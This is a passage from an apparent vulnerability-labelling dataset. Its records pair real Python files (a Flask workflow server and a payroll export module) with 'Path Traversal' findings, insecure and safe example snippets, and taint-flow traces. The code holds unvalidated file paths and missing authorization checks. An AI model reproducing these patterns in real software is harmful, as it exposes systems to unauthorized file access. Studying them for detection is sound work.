except Exception as ex:\n print(\"Exception caught handling workflow messages\", str(ex))\n traceback.print_exc()\n return str(ex), 500 # Server error\n\n\n@app.route('/workflow/download', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef return_workflow_download() -> tuple:\n \"\"\"Handles returning a workflow for downloading\"\"\"\n # Get the form contents\n workflow = json.loads(request.form['workflow'])\n workflow_data = json.loads(request.form['data'])\n if 'filename' in request.form:\n save_filename = request.form['filename']\n else:\n save_filename = 'workflow.json'\n if 'passcode' in request.form:\n passcode = request.form['passcode']\n else:\n passcode = DEFAULT_PASSCODE\n\n print(\"Download: \", workflow, workflow_data, save_filename)\n print(\" \", type (workflow), type (workflow_data))\n print(\" \", workflow.keys(), workflow_data)\n\n # TODO: Handle authorization\n # TODO: Do we download an archive (zip) if files are local?\n\n # Build up the return information\n return_workflow = {\n 'version': CURRENT_WORKFLOW_SAVE_VERSION,\n 'name': workflow['name'],\n 'description': workflow['description'],\n 'steps': workflow['steps'],\n 'parameters': secure_workflow_parameters(workflow_data, passcode),\n }\n\n response = make_response(json.dumps(return_workflow, indent=2))\n response.headers.set('Content-Type', 'text')\n response.headers.set('Content-Disposition', 'attachment', filename=save_filename)\n\n return response\n\n\n@app.route('/workflow/download_all', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef return_workflow_download_all() -> tuple:\n \"\"\"Handles returning a workflow for downloading\"\"\"\n # Get the form contents\n workflows = json.loads(request.form['workflows'])\n if 'filename' in request.form:\n save_filename = request.form['filename']\n else:\n save_filename = 'workflows_all.json'\n\n # TODO: Handle authorization\n\n # Build up the return information\n return_workflows = {\n 'version': CURRENT_WORKFLOW_DEFINITION_SAVE_VERSION,\n 'type': WORKFLOW_DEFINITION_SAVE_TYPE,\n 'workflows': [{'name': one_workflow['name'], 'description': one_workflow['description'], 'id': one_workflow['id'], \\\n 'steps': one_workflow['steps']} for one_workflow in workflows]\n }\n\n response = make_response(json.dumps(return_workflows, indent=2))\n response.headers.set('Content-Type', 'text')\n response.headers.set('Content-Disposition', 'attachment', filename=save_filename)\n\n return response\n\n\n@app.route('/workflow/artifact', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef return_workflow_artifact() -> tuple:\n \"\"\"Handles returning a workflow for downloading\"\"\"\n # Get the form contents\n print(\"Workflow artifact\")\n workflow = json.loads(request.form['workflow'])\n workflow_id = request.form['workflow_id']\n data_path = request.form['workflow_path']\n if 'filename' in request.form:\n save_filename = request.form['filename']\n else:\n save_filename = None\n\n print(\"ARTIFACT:\", workflow_id, data_path, str(save_filename), workflow)\n\n # Check parameters\n cur_workflows = session['workflows']\n if not cur_workflows or workflow_id not in cur_workflows:\n msg = f'ERROR: attempt made to access invalid workflow {workflow_id}'\n print(msg)\n return msg, 400 # Bad request\n\n working_dir = os.path.abspath(os.path.join(WORKFLOW_RUN_PATH, workflow_id))\n if not working_dir.startswith(WORKFLOW_RUN_PATH):\n print(f'Invalid workflow artifact requested: \"{workflow_id}\"', flush=True)\n return 'Resource not found', 404\n\n # Find the file to download\n found_file = None\n step_command, artifact_name = data_path.split('|')\n print(\"ARTIFACT:\",step_command, artifact_name)\n for one_step in workflow['steps']:\n if one_step['command'] == step_command:\n for one_result in one_step['results']:\n if one_result['name'] == artifact_name:\n found_file = one_result['filename']\n break\n if found_file is not None:\n break\n\n # Check that we can download it\n artifact_path = os.path.abspath(os.path.join(working_dir, step_command, found_file))\n print(\"ARTIFACT PATH:\",artifact_path,working_dir)\n if not artifact_path.startswith(working_dir):\n print(f'Invalid workflow artifact requested: \"{workflow_id}\" \"{artifact_name}\"', flush=True)\n return 'Resource not found', 404\n if not os.path.exists(artifact_path) or not os.path.isfile(artifact_path):\n print(f'Invalid workflow artifact file requested: \"{workflow_id}\" \"{artifact_name}\"', flush=True)\n return 'Resource not found', 404\n\n if not save_filename:\n save_filename = found_file\n\n print(\"ARTIFACT RETURNING\", artifact_path, save_filename)\n with open(artifact_path, 'r', encoding='utf8') as in_file:\n response = make_response(in_file.read())\n response.headers.set('Content-Type', 'text')\n response.headers.set('Content-Disposition', 'attachment', filename=save_filename)\n\n return response\n\n\ndef _workflow_upload_file_save(request_files: MultiDict, save_path: str) -> list:\n \"\"\"Saves files that were uploaded to the specified save location\n Arguments:\n request_files - the list of uploaded files from the request\n save_path - the path to save the files to\n Returns:\n The list of saved files\n \"\"\"\n loaded_filenames = []\n\n for file_id in request_files:\n one_file = request_files[file_id]\n cur_save_path = os.path.join(save_path, secure_filename(one_file.filename))\n if os.path.exists(cur_save_path):\n os.unlink(cur_save_path)\n one_file.save(cur_save_path)\n loaded_filenames.append(cur_save_path)\n\n return loaded_filenames\n\n\ndef _workflow_upload_file_load(workflow_file: str) -> tuple:\n \"\"\"Attempts to load the workflow from a file\n Arguments:\n workflow_file - the path to the workflow file\n Returns:\n A tuple containing the loaded workflow and a message, in that order\n Notes:\n If the workflow could not be loaded, None is returned for the loaded workflow. If there were no issues the\n message will be None in the return tuple.\n \"\"\"\n loaded_workflow, msg = None, None\n\n try:\n with open(workflow_file, 'r', encoding='utf8') as in_file:\n loaded_workflow = json.load(in_file)\n except json.JSONDecodeError as ex:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: A JSON decode error was caught processing file \"%s\"' % os.path.basename(workflow_file)\n print(msg, ex)\n except Exception as ex:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: An unknown exception was caught processing file \"%s\"' % os.path.basename(workflow_file)\n print(msg, ex)\n\n if loaded_workflow and not 'version' in loaded_workflow:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: Version not found in workflow file \"%s\"' % os.path.basename(workflow_file)\n\n return loaded_workflow, msg\n\n\ndef _workflow_upload_file_handle(workflow_path: str, workflow_def: dict) -> tuple:\n \"\"\"Analyses the passed in workflow and returns an updated workflow definition if it's to be returned to the caller\n Arguments:\n workflow_path - the path to the workflow file\n workflow_def - the contents of the loaded workflow file\n Returns:\n A tuple consisting of a list of updated workflows, a workflow ID, and associated file paths, and a message, in that order.\n The list of workflows may be None if a problem is found. The workflow IDs may be None if the workflows are definitions and not one\n that had already been run. The message may be None if no problems were found\n Notes:\n Contains the logic for processing uploaded workflow related files\n \"\"\"\n msg = None\n workflow_id = None\n return_workflows = []\n\n # Determine what type of file we're getting\n if 'type' in workflow_def and workflow_def['type'] == WORKFLOW_DEFINITION_SAVE_TYPE:\n # Workflow definition file\n if str(workflow_def['version']) not in WORKFLOW_DEFINITION_SAVE_VERSIONS_SUPPORTED:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: Unsupported version \"%s\" in workflow definition file \"%s\"' % (workflow_def['version'],\n os.path.basename(workflow_path))\n print(msg, WORKFLOW_DEFINITION_SAVE_VERSIONS_SUPPORTED)\n return None, None, msg\n\n for one_workflow_def in workflow_def['workflows']:\n found = False\n for tmp_workflow in WORKFLOW_DEFINITIONS:\n if tmp_workflow['id'] == one_workflow_def['id']:\n found = True\n break\n\n if not found:\n WORKFLOW_DEFINITIONS.append(one_workflow_def)\n return_workflows.append(one_workflow_def)\n else:\n # Workflow \"run\" file\n if str(workflow_def['version']) not in WORKFLOW_SAVE_VERSIONS_SUPPORTED:\n # pylint: disable=consider-using-f-string\n msg = 'ERROR: Unsupported version \"%s\" in workflow file \"%s\"' % (workflow_def['version'], os.path.basename(workflow_path))\n print(msg, WORKFLOW_SAVE_VERSIONS_SUPPORTED)\n return None, None, msg\n\n loaded_file_id = uuid.uuid4().hex\n workflow_id = loaded_file_id\n\n workflow_def['id'] = loaded_file_id\n return_workflows.append(workflow_def)\n\n return return_workflows, workflow_id, msg\n\n\n@app.route('/workflow/upload', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef workflow_upload_file():\n \"\"\"Upload workflow files\"\"\"\n print(\"WORKFLOW UPLOADED\", len(request.files))\n if not os.path.exists(WORKFLOW_FILE_START_PATH):\n os.makedirs(WORKFLOW_FILE_START_PATH)\n\n # Get our additional parameters\n desired_version = request.form['version']\n if not desired_version in WORKFLOW_SAVE_VERSIONS_SUPPORTED:\n msg = f'ERROR: unsupported workflow save file version requested \"{desired_version}\": supported {WORKFLOW_SAVE_VERSIONS_SUPPORTED}'\n print(msg)\n return msg, 400 # Bad request\n\n # Set the workflow folder for this user if it hasn't been set yet\n # pylint: disable=consider-using-with\n if 'workflow_folder' not in session or session['workflow_folder'] is None or not os.path.isdir(session['workflow_folder']):\n session['workflow_folder'] = tempfile.mkdtemp(dir=WORKFLOW_FILE_START_PATH)\n\n # Copy the files to our save location\n loaded_filenames = _workflow_upload_file_save(request.files, session['workflow_folder'])\n\n # Load the workflows while checking their contents\n # TODO: handle zip files: see return_workflow_download()\n return_workflows, return_messages, loaded_file_info = ([], [], {})\n\n for one_workflow in loaded_filenames:\n # Load the workflow file\n loaded_workflow, new_msg = _workflow_upload_file_load(one_workflow)\n\n if new_msg is not None:\n return_messages.append(new_msg)\n\n if loaded_workflow is None:\n continue\n\n # Handle the loaded workflow\n final_workflow_list, workflow_id, new_msg = _workflow_upload_file_handle(one_workflow, loaded_workflow)\n\n if new_msg is not None:\n return_messages.append(new_msg)\n\n if workflow_id is not None:\n loaded_file_info[workflow_id] = one_workflow\n\n if final_workflow_list is not None:\n return_workflows.extend(final_workflow_list)\n\n\n if 'workflow_files' not in session or session['workflow_files'] is None:\n print(\"SESSION WORKFLOW FILES: \", str(loaded_file_info))\n session['workflow_files'] = loaded_file_info\n elif loaded_file_info:\n print(\"ADDING SESSION WORKFLOW FILES: \", str(loaded_file_info))\n session['workflow_files'] = {**session['workflow_files'], **loaded_file_info}\n\n return json.dumps({'workflows': return_workflows, 'messages': return_messages})\n\n\n@app.route('/workflow/new', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef workflow_new():\n \"\"\"Upload workflow files\"\"\"\n print(\"WORKFLOW NEW\")\n # Get the values from the form\n have_error = False\n new_workflow = None\n try:\n new_workflow = json.loads(request.form.get('workflow'))\n except ValueError as ex:\n print(\"A value exception was caught while fetching form data:\", ex)\n have_error = True\n\n if have_error:\n print (\"Missing or bad workflow:\", str(new_workflow))\n return 'Repository fields are missing or invalid', 400\n\n # Get our additional parameters\n WORKFLOW_DEFINITIONS.append(new_workflow)\n\n return json.dumps({'id': new_workflow['id']})\n\n\n@app.route('/workflow/secure', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000', headers=['Content-Type','Authorization'])\ndef workflow_secure() -> tuple:\n \"\"\"Checks if a workflow has information that needs to be secured\n Request body:\n config: the workflow to check\n \"\"\"\n print(\"WORKFLOW SECURE\")\n\n try:\n workflow_params = json.loads(request.form['data'])\n\n needs_secure = False\n needs_secure = workflow_has_secure_parameters(workflow_params)\n\n return json.dumps({'secured': needs_secure})\n except Exception as ex:\n traceback.print_exc()\n return str(ex), 500 # Server error\n\n\n@app.route('/template//', methods=['GET'])\n@cross_origin(origin='127.0.0.1:3000')\ndef template_file(lang: str, algorithm: str):\n \"\"\"Upload template file for editing\"\"\"\n print(\"CODE TEMPLATE\", lang, algorithm)\n\n template_base_path = os.path.realpath(os.path.join(OUR_LOCAL_PATH, 'template'))\n template_path = os.path.realpath(os.path.join(template_base_path, lang))\n print(\"Path:\", template_path)\n\n if not template_path.startswith(template_base_path) or not os.path.exists(template_path):\n print(f'Invalid template requested: \"{template_path}\"', flush=True)\n return 'Resource not found', 404\n\n # Find the requested template\n found_name = None\n for one_name in os.listdir(template_path):\n if one_name.startswith(algorithm):\n cur_file_path = os.path.join(template_path, one_name)\n if os.path.isfile(cur_file_path):\n found_name = cur_file_path\n break\n\n if found_name is None:\n print(f'Unable to find requested algorithm: \"{algorithm}\" \"{template_path}\"', flush=True)\n return 'Algorithm not found', 400\n\n with open(found_name, 'r', encoding='utf8') as in_file:\n response = make_response(in_file.read())\n response.headers.set('Content-Type', 'text')\n return response\n\n\n@app.route('/code/check/', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000')\ndef check_python_code(lang: str):\n \"\"\"Performs a check on the python code\"\"\"\n print('CODE CHECK', lang)\n if lang.lower() != 'python':\n return 'Unsupported language', 404\n\n # Check that the length of the request is reasonable\n if request.content_length > MAX_CODE_LENGTH:\n print(f'Too large a file size was requested: {request.content_length}')\n return 'Code size is too large', 413 # Payload too large\n\n # Save the code to a file and run pylint over it\n results = []\n code = request.form['code']\n variables = json.loads(request.form['variables'])\n out_fd, code_file_name = tempfile.mkstemp(suffix='.py', dir=CODE_CHECKING_PATH, text=True)\n try:\n os.close(out_fd)\n num_vars, start_var_line = _write_python_file(code_file_name, code, variables)\n\n lint_results = _lint_python_file(code_file_name)\n\n for one_result in lint_results:\n if not ':' in one_result:\n continue\n cur_info = one_result.split(':')\n print(\"LINT:\", one_result)\n\n cur_line = int(cur_info[1])\n if cur_line > start_var_line:\n cur_line = cur_line - num_vars - 1\n\n cur_message = cur_info[3]\n if cur_info[5] == 'E0001':\n cur_message = cur_message.split('(')[0].strip()\n\n results.append({\n 'type': cur_info[0],\n 'line': str(cur_line),\n 'column': cur_info[2],\n 'message': cur_message,\n 'code': cur_info[4]\n })\n\n except Exception as ex:\n msg = f'Exception caught while trying to check python code \"{code}\"'\n print(msg, ex)\n traceback.print_exc()\n return 'Error checking Python code', 202 # Accepted, but non-comittal\n finally:\n if code_file_name and os.path.exists(code_file_name):\n os.remove(code_file_name)\n\n return json.dumps(results)\n\n@app.route('/code/test//', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000')\ndef test_python_code(algo_type: str, lang: str):\n \"\"\"Performs a check on the python code\n Arguments:\n algo_type: the transformer type this code represents\n lang: the language of thee code to test\n \"\"\"\n print(\"TEST PYTHON CODE\", algo_type, lang)\n if algo_type.lower() != 'rgb_plot':\n return 'Unsupported algorithm type', 404\n if lang.lower() != 'python':\n return 'Unsupported language', 404\n\n # Check that the length of the request is reasonable\n if request.content_length > MAX_CODE_LENGTH:\n print(f'Too large a file size was requested: {request.content_length}')\n return 'Code size is too large', 413 # Payload too large\n\n # Save the code to a file and run pylint over it\n results = []\n code = request.form['code']\n variables = json.loads(request.form['variables'])\n with tempfile.TemporaryDirectory(dir=CODE_TESTING_PATH) as test_folder:\n code_file_name = os.path.join(test_folder, 'algorithm_rgb.py')\n print(\"CODE TEST FILE\",code_file_name,test_folder, 'Exists' if os.path.exists(test_folder) else 'Missing')\n try:\n _, _ = _write_python_file(code_file_name, code, variables)\n\n test_results = _test_python_file(algo_type, lang, 'transformer.py', test_folder)\n\n if isinstance(test_results, dict):\n # We have an error result\n return 409, test_results['error'] # Conflict, we expected success but failure conflicts with that\n\n results = test_results\n\n except Exception as ex:\n msg = f'Exception caught while trying to check python code \"{code}\"'\n print(msg, ex)\n traceback.print_exc()\n return 'Error checking Python code', 202 # Accepted, but non-comittal\n\n return json.dumps(results)\n\n\n@app.route('/algorithm/gitcheck', methods=['POST'])\n@cross_origin(origin='127.0.0.1:3000')\ndef algo_git_check():\n \"\"\"Performs an access check against a git repo\n Arguments:\n repo_url: the URL of the repo to check\n username: the name of the user used to access the repo\n password: the password associated with the user\n \"\"\"\n # Disabling pylint checks that would make this function less readable\n # pylint: disable=too-many-branches, too-many-statements\n print(\"CHECK GIT REPO\")\n\n # Get the values from the form\n repo_url = None\n try:\n repo_url = request.form.get('repo_url')\n except ValueError as ex:\n print('Missing or bad git repository URL:', ex)\n return 'Repository fields are missing or invalid', 400\n\n # Get the list of branches and tags\n local_repo_id = uuid.uuid4().hex\n local_repo_dir = os.path.join(CODE_REPOSITORY_PATH, local_repo_id)\n cur_dir = os.getcwd()\n os.makedirs(local_repo_dir)\n os.chdir(local_repo_dir)\n results = {'id': local_repo_id, 'branches': [], 'tags': []}\n\n try:\n cmd = ['git', 'init']\n res = subprocess.run(cmd, stdout=subprocess.DEVNULL, check=False)\n if res.returncode != 0:\n print(\"Unable to initialize git repository at\", local_repo_dir)\n return \"Internal error\", 500\n\n cmd = ['git', 'remote', 'add', 'origin', repo_url]\n res = subprocess.run(cmd, stdout=subprocess.DEVNULL, check=False)\n if res.returncode != 0:\n print(\"Unable to configure git repository at\", local_repo_dir)\n return \"Configuration error\", 400\n\n cmd = ['git', 'fetch']\n res = subprocess.run(cmd, stdout=subprocess.DEVNULL, check=False)\n if res.returncode != 0:\n print(\"Unable to fetch git repository at\", local_repo_dir)\n return \"Update error\", 400\n\n # Get the branches and try to find the specified one\n cmd = ['git', 'branch', '-r']\n res = subprocess.run(cmd, stdout=subprocess.PIPE, check=False)\n if res.returncode != 0:\n print(\"Unable to list branches for git repository at\", local_repo_dir)\n return \"Branch listing error\", 400\n\n branches = res.stdout.decode(\"utf-8\").split('\\n')\n for one_branch in branches:\n cur_branch = one_branch.strip()\n if cur_branch:\n if cur_branch.startswith('origin/'):\n cur_branch = cur_branch[len('origin/'):]\n results['branches'].append(cur_branch)\n\n # Get the tags and try to find the specified one\n cmd = ['git', 'tag', '-l']\n res = subprocess.run(cmd, stdout=subprocess.PIPE, check=False)\n if res.returncode != 0:\n print(\"Unable to list tags for git repository at\", local_repo_dir)\n return \"Tags listing error\", 400\n\n tags = res.stdout.decode(\"utf-8\").split('\\n')\n for one_tag in tags:\n cur_tag = one_tag.strip()\n if cur_tag:\n results['tags'].append(cur_tag)\n finally:\n print(\"CHANGING BACK TO FOLDER\", cur_dir)\n os.chdir(cur_dir)\n\n repo_info = {'id': local_repo_id, 'url': repo_url}\n if 'repos' not in session or session['repos'] is None:\n session['repos'] = [repo_info]\n else:\n cur_repos = session['repos']\n cur_repos.append(repo_info)\n session['repos'] = cur_repos\n\n return json.dumps(results)\n\n@app.route('/algorithm/gitclear/', methods=['PUT'])\n@cross_origin(origin='127.0.0.1:3000')\ndef algo_git_clear(repo_id: str):\n \"\"\"Removes references to a git repo\n Arguments:\n repo_id: the ID of the git repo to clean up\n \"\"\"\n print(\"CLEAN GIT REPO\")\n found_idx = None\n cur_repos = session['repos']\n\n for idx, one_repo in enumerate(cur_repos):\n if one_repo['id'] == repo_id:\n found_idx = idx\n break\n\n if found_idx is not None:\n local_repo_dir = os.path.join(CODE_REPOSITORY_PATH, repo_id)\n if os.path.exists(local_repo_dir):\n shutil.rmtree(local_repo_dir)\n\n session['repos'] = [one_repo for one_repo in cur_repos if one_repo['id'] != repo_id]\n\n return json.dumps({'id': repo_id})\n\nif __name__ == '__main__':\n app.run(debug=False)", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 1792, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 1794, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "_workflow_upload_file_load"}}, {"lineNo": 1794, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "_workflow_upload_file_load"}}, {"lineNo": 1794, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "ffa37453c90ffd8324febfe25f04f74bebae34d964402ed53335aacfd9736c3a", "license": {"spdx": ["MIT"], "repo": "MaliziaGrimm/Lohnvorerfassung-50a-fuer-DATEV", "path": "exportmodul.py", "repo_head_hexsha": "41b99deacc5bfee6562907de109a8ad5af917d01", "stack_hexsha": "acbbe6f47814bc2d3c6890dde8a7d1503844ddbb", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 149, "entireCode": "from flask import Flask\nfrom flask import request, render_template\nimport os, time, csv\n\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import create_engine\nfrom sqlalchemy import Column, Integer, Text, MetaData, Table, DATE\nfrom sqlalchemy.sql import select, update\n\nimport datenbank_obj, funktionen, setting\nimport pandas as pd\nimport datetime\n\n\ndef export_steuer(var_abrmonat, var_abrjahr, var_beraternummer, var_mandantennummer):\n # nur für Auswahl Monat/Jahr\n return \n\ndef export_steuerli(var_abrmonat, var_abrjahr, var_beraternummer, var_mandantennummer):\n # brauche ich für Auswahl der Datensätze ggf.\n # aktuell werden alle erfassten DS exportiert, die noch nicht exportert wurden\n # unabhängig vom Erfassungsmonat\n return \n\n\ndef export_steuerliste(var_abrmonat, var_abrjahr, var_beraternummer, var_mandantennummer):\n # der eigentliche ExcelExport bzw. \n # PDF Druck (geplant)\n var_stmonat=request.form[\"form_stmonat\"]\n var_stjahr=request.form[\"form_stjahr\"]\n \n engine = create_engine('sqlite:///daten/abrechnungsdaten.db')\n metadata = datenbank_obj.getdbmetadata(engine)\n abrechnungsdaten = datenbank_obj.abrechnungsdaten_dbobj(metadata)\n metadata.create_all() \n \n if var_stmonat==\"01\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"01\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"02\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"02\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"03\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"03\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"04\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"04\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"05\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"05\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"06\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"06\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"07\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"07\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"08\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"08\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"09\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"09\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"10\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"10\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"11\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"11\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"12\" and var_stjahr==\"2022\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"12\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2022\\\" \", engine)\n elif var_stmonat==\"01\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"01\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"02\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"02\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"03\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"03\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"04\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"04\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"05\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"05\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"06\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"06\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"07\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"07\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"08\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"08\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"09\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"09\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"10\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"10\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"11\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"11\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"12\" and var_stjahr==\"2023\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"12\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2023\\\" \", engine)\n elif var_stmonat==\"01\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"01\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"02\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"02\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"03\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"03\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"04\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"04\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"05\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"05\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"06\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"06\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"07\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE abrechnungsdaten.abrechnungsmonat==\\\"07\\\" AND abrechnungsdaten.abrechnungsjahr==\\\"2024\\\" \", engine)\n elif var_stmonat==\"08\" and var_stjahr==\"2024\":\n result = pd.read_sql(\"SELECT * FROM abrechnungsdaten WHERE 